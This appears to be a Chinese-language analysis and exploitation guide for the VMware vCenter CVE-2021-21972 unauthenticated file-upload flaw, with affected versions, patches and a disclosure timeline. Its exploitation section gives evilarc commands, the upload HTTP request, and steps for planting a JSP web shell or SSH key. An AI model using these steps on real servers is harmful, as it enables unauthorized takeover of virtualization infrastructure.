深入分析VMware vCenter远程代码执行漏洞
字数 1650 2025-08-06 08:35:22

VMware vCenter远程代码执行漏洞(CVE-2021-21972)深入分析与利用指南

漏洞概述

CVE-2021-21972是VMware vCenter Server中的一个严重安全漏洞,允许未经身份验证的攻击者通过vSphere Client(HTML5)在目标系统上执行任意代码。该漏洞存在于vSphere Client的vROps插件中,由于缺乏适当的身份验证检查,攻击者可以上传恶意文件并实现远程代码执行。

受影响版本

  • VMware vCenter Server 7.0版本(7.0.0至7.0.1)
  • VMware vCenter Server 6.7版本(6.7.0至6.7.3)
  • VMware vCenter Server 6.5版本(6.5.0至6.5.3)
  • VMware Cloud Foundation (vCenter Server) 4.x版本
  • VMware Cloud Foundation (vCenter Server) 3.x版本

漏洞发现过程

  1. 研究人员发现/ui/vropspluginui/rest/services/*端点无需身份验证即可访问
  2. vROps插件(vropsplugin-service.jar)配置错误,允许未经授权的访问
  3. uploadOvaFile函数处理/ui/vropspluginui/rest/services/uploadova路径时存在漏洞

漏洞技术细节

漏洞代码分析

漏洞位于uploadOvaFile函数中,该函数:

  1. 接收带有uploadFile参数的POST请求
  2. 将上传内容读取到inputStream变量
  3. 将数据作为.tar存档打开
  4. 遍历存档条目,在/tmp/unicorn_ova_dir+entry_name路径创建文件

关键问题

  • 未对.tar条目名称进行安全过滤
  • 直接拼接路径字符串,允许目录遍历攻击(如使用.../)

漏洞利用方法

Windows系统利用

  1. 制作恶意.tar文件

    python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl.tar shell.jsp
    
  2. 上传恶意文件

    POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
    Host: vSphereClient.local
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD
    
    ------WebKitFormBoundaryH8GoragzRFVTw1VD
    Content-Disposition: form-data; name="uploadFile"; filename="a.ova"
    Content-Type: text/plain
    
    {craftedArchive}
    ------WebKitFormBoundaryH8GoragzRFVTw1VD--
    
  3. 访问上传的JSP shell

    • 上传的JSP文件位于C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport
    • 可通过Web访问/statsreport/shell.jsp
    • 执行权限为NT Authority\system

Linux系统利用

  1. 生成SSH密钥对

    ssh-keygen -t rsa
    
  2. 制作包含公钥的.tar文件

    python evilarc.py -d 5 -p 'home/vsphere-ui/.ssh' -o unix -f linexpl.tar authorized_keys
    
  3. 上传文件

    • 同上使用POST请求上传恶意.tar文件
  4. SSH连接

    ssh -i /path/to/id_rsa vsphere-ui@vSphereLinux.local
    

漏洞修复建议

  1. 官方补丁

    • 升级到以下版本:
      • vCenter Server 7.0 Update 2
      • vCenter Server 6.7 Update 3n
      • vCenter Server 6.5 Update 3p
      • VMware Cloud Foundation 4.2
      • VMware Cloud Foundation 3.10.1.2
  2. 临时缓解措施

    • 在vCenter Server上删除vROps插件
    • 限制对vCenter Server的网络访问

时间线

  • 2020年10月2日:漏洞报告给VMware
  • 2020年10月3日:VMware首次回应
  • 2020年10月9日:确认漏洞并开始修复
  • 2021年2月23日:发布安全公告和补丁

参考资源

  • 原始漏洞报告:https://swarm.ptsecurity.com/unauth-rce-vmware/
  • VMware安全公告:VMSA-2021-0002
  • evilarc工具:用于创建包含目录遍历路径的.tar文件

总结

CVE-2021-21972是一个严重的未授权RCE漏洞,影响广泛使用的VMware vCenter Server。攻击者可以利用此漏洞完全控制目标系统。建议所有使用受影响版本的组织立即应用补丁或采取缓解措施。

VMware vCenter远程代码执行漏洞(CVE-2021-21972)深入分析与利用指南 漏洞概述 CVE-2021-21972是VMware vCenter Server中的一个严重安全漏洞,允许未经身份验证的攻击者通过vSphere Client(HTML5)在目标系统上执行任意代码。该漏洞存在于vSphere Client的vROps插件中,由于缺乏适当的身份验证检查,攻击者可以上传恶意文件并实现远程代码执行。 受影响版本 VMware vCenter Server 7.0版本(7.0.0至7.0.1) VMware vCenter Server 6.7版本(6.7.0至6.7.3) VMware vCenter Server 6.5版本(6.5.0至6.5.3) VMware Cloud Foundation (vCenter Server) 4.x版本 VMware Cloud Foundation (vCenter Server) 3.x版本 漏洞发现过程 研究人员发现 /ui/vropspluginui/rest/services/* 端点无需身份验证即可访问 vROps插件(vropsplugin-service.jar)配置错误,允许未经授权的访问 uploadOvaFile 函数处理 /ui/vropspluginui/rest/services/uploadova 路径时存在漏洞 漏洞技术细节 漏洞代码分析 漏洞位于 uploadOvaFile 函数中,该函数: 接收带有 uploadFile 参数的POST请求 将上传内容读取到 inputStream 变量 将数据作为.tar存档打开 遍历存档条目,在 /tmp/unicorn_ova_dir+entry_name 路径创建文件 关键问题 : 未对.tar条目名称进行安全过滤 直接拼接路径字符串,允许目录遍历攻击(如使用 .../ ) 漏洞利用方法 Windows系统利用 制作恶意.tar文件 : 上传恶意文件 : 访问上传的JSP shell : 上传的JSP文件位于 C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport 可通过Web访问 /statsreport/shell.jsp 执行权限为 NT Authority\system Linux系统利用 生成SSH密钥对 : 制作包含公钥的.tar文件 : 上传文件 : 同上使用POST请求上传恶意.tar文件 SSH连接 : 漏洞修复建议 官方补丁 : 升级到以下版本: vCenter Server 7.0 Update 2 vCenter Server 6.7 Update 3n vCenter Server 6.5 Update 3p VMware Cloud Foundation 4.2 VMware Cloud Foundation 3.10.1.2 临时缓解措施 : 在vCenter Server上删除vROps插件 限制对vCenter Server的网络访问 时间线 2020年10月2日:漏洞报告给VMware 2020年10月3日:VMware首次回应 2020年10月9日:确认漏洞并开始修复 2021年2月23日:发布安全公告和补丁 参考资源 原始漏洞报告:https://swarm.ptsecurity.com/unauth-rce-vmware/ VMware安全公告:VMSA-2021-0002 evilarc工具:用于创建包含目录遍历路径的.tar文件 总结 CVE-2021-21972是一个严重的未授权RCE漏洞,影响广泛使用的VMware vCenter Server。攻击者可以利用此漏洞完全控制目标系统。建议所有使用受影响版本的组织立即应用补丁或采取缓解措施。